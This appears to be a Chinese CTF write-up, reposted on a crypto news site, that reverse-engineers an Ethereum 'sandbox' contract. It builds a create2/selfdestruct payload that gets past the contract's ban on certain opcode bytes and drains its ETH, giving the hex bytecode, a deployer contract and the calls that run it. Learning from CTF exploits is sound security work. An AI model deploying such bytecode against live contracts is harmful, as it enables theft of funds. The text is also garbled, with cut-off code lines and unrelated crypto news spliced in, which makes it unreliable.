基于samczsun的解析文章学习
分析原文:
本文都是基于https://samczsun
elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}
再看到其的全局变量,一共有两个,分别在slot0和slot1的位置处。可以看到这两个全局变量都是uint256数组。
uint256array_0;//STORAGEuint256_owners;//STORAGE
依次分析函数,找到我们感兴趣的部分,然后再深入调查该函数,看是否能够达到我们的目标——拿到该合约的所有ETH。
Consensys创始人:ETH在加密寒冬中保持稳定,看好以太坊生态系统:2月8日消息,Consensys创始人Joe Lubin在接受采访时表示,当某些CeFi玩家崩溃时,ETH有能力在很长一段时间内保持其价值在1200美元左右,这使得他看好以太坊生态系统。此外,Lubin也强调ETH通缩对ETH升值的重要影响,并表示相信ETH供应不会出现大的变化,持续收缩可能会继续下去。“我认为缓慢收缩是合理的。我们肯定会在协议、DAO投票系统、DeFi等锁定ETH,这对生态系统很有价值。”(cointelegrap)[2023/2/9 11:55:38]
首先是函数1:0x4214352d
function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg
//翻译一下functionset_array(uint256_value,uint256_key)public{require(msg
NFT电子书公司Book.io获图书分销巨头Ingram Content Group投资:10月1日消息,NFT电子书公司Book.io宣布完成种子轮融资,投资方为Ingram Content Group,后者是世界领先的图书分销商之一,在图书出版领域拥有广泛的影响力。(prnewswire)[2022/10/1 18:36:37]
可以看到该函数主要是对array_0进行赋值,在赋值前检查了两项:
msg
=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg
与set_array函数类似
再看函数3:owners
functionowners(uint256varg0)publicnonPayable{require(msg
动态 | Eric Conner:以太坊难度炸弹已经爆炸 以太坊出块时间已被延长:Ethhub 创始人 Eric Conner 在Twitter上表示,以太坊难度炸弹已经“爆炸”,以太坊出块时间正在被难度炸弹逐步延长,平均挖矿时间已经从 14 秒升至 15.5 秒,并且会一直延长以太坊的出块时间。以太坊君士坦丁堡升级中本身包含延迟难度炸弹的提案,但是由于该升级被发现存在漏洞,已经推迟到 6 周之后启动。[2019/1/21]
=>functionowners(uint256_key)publicviewreturns(address){require(msg
最后看函数4:0x2918435f
function0x2918435f(addressvarg0)publicpayable{require(msg
v2=1;}require(v0);MEM=MEM(varg0
动态 | 基于EOS开发的World Conquest被黑客攻击 被盗资金已经转入火币:第三方大数据评级机构RatingToken的数据监测显示,基于EOS开发的DAPP World Conquest被黑客攻击,官方已经在其discord发布公告确认被攻击,目前合约中仅剩0.0155个EOS;通过合约转账数据发现,被盗资金已经被转移至火币。[2018/10/16]
assert(v5<varg0
v7,v8=varg0
require(v7);}
可以看到函数40x2918435f比较复杂,简单分析函数4中有三层require:
要求调用该函数的msg
v2=1;}require(v0);=>翻译一下:boolpermit=false;uint256i=0;while(i<_owners
CCID Consulting:2018年中国区块链技术收入将达到5.12亿美元:据199IT报道,根据CCID Consulting的调查,截至2017年,中国企业已经提交了550项与区块链技术相关的专利,远超过美国和韩国。预计2018年中国区块链技术收入将达到5.12亿美元。[2018/3/29]
i=1;}require(permit);
3.要求作为传入参数的地址addr,逐字节检查该参数地址对应的代码,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节。在黄皮书中这几个字节对应的分别是:create,call,callcode,delegatecall,staticcall,selfdestruct.这部分对应的代码比较复杂,我们将对比opcode,逐字翻译```MEM=MEM(varg0
assert(v5<varg0
}
问题分析-2
现在我们需要满足第三个条件,即构造一个合约,该合约对应的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节,因此需要我们手动来写合约,然后通过该sandbox的第四个函数来delegatecall该合约,从而清空sandbox中的ETH。
首先明确我们使用create2,其为0xf5,我们可以首先看下黄皮书中关于create2的定义
简单来说是先计算出要创建的合约的地址,然后执行要创建的合约的初始化代码,再将该初始化代码与要创建的合约地址进行关联。
故我们需要一个合约,他的runtimecode中执行一个create2函数,创建一个临时合约,并将上下文环境中的address(this)里的全部ETH都作为赠品赠与该临时合约,该临时合约的初始化代码中应该执行selfdestruct(tx.orgin)函数来将所有的ETH转移给合约部署人。
先用opcode来写runtimecode:
//tx.origin这里的ORIGIN是payload,不应该被执行,故需要改为push10x32//SELFDESTRUCT//构造payload,因为SELFDESTRUCT是0xff,不能被使用,故可以通过ADD来绕道实现push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//构造payload0x40->0x32ff,push100//Us->salt盐push10x04//Us->length长度4push10x3e//us->offset偏移值->内存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH数量->应该是该address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5
在写该合约的初始化代码,可以用solidity写了,因为是我自己执行来部署该runtimecode
contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}
然后部署HackCTF合约,在调用ctf中的第四个函数,将该合约的地址作为参数传进去即可
hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())
免责声明:作为区块链信息平台,本站所发布文章仅代表作者个人观点,与链闻ChainNews立场无关。文章内的信息、意见等均仅供参考,并非作为或被视为实际投资建议。
本文来源于非小号媒体平台:
登链社区
现已在非小号资讯平台发布105篇作品,
非小号开放平台欢迎币圈作者入驻
入驻指南:
/apply_guide/
本文网址:
/news/10087897.html
免责声明:
1.资讯内容不构成投资建议,投资者应独立决策并自行承担风险
2.本文版权归属原作所有,仅代表作者本人观点,不代表非小号的观点或立场
上一篇:
SendingLabs完成1250万美元种子轮融资,以构建「Web3通信堆栈」
据IDC预测,到2023年,中国将有40个数据中心,其中80%以上为非结构化数据,。随着信息化产业的高速发展,近年来全球各行各业所产生的数据量呈现爆炸性的增长.
1900/1/1 0:00:00YURO空投来NFT与IPFS非同质化资产NFT,目前已经进入到了一个发展加速期。早在2017年,NFT就开始展露锋芒,以加密猫为代表的NFT生态开始破土而出,而加密猫问世以后NFT的ERC-7.
1900/1/1 0:00:00链闻消息,据cointelegraph报道,加密货币交易所Crypto.com战略投资多链NFT交易市场Hodooi,但没有披露投资金额,Crypto.com目前已升级主网以提供NFT支持.
1900/1/1 0:00:00如果说过去10年加密货币行业的创新引擎是专注于解决行业本身的发展问题,那么从2020年开始,加密行业或者区块链技术已经不再只是某些人口中的「玩具」,从DeFi到NFT的变化.
1900/1/1 0:00:00随着NFT的财富效应显现,越来越多人开始关注NFT与加密艺术领域。有传统领域的艺术家们开始询问,如何将自己的作品做成一个NFT展示给加密爱好者们。也有许多普通人跃跃欲试,想要创作一幅NFT画作.
1900/1/1 0:00:00原文作者:MohammadMusharraf,Odaily星球日报译者:Katie辜,经授权发布.
1900/1/1 0:00:00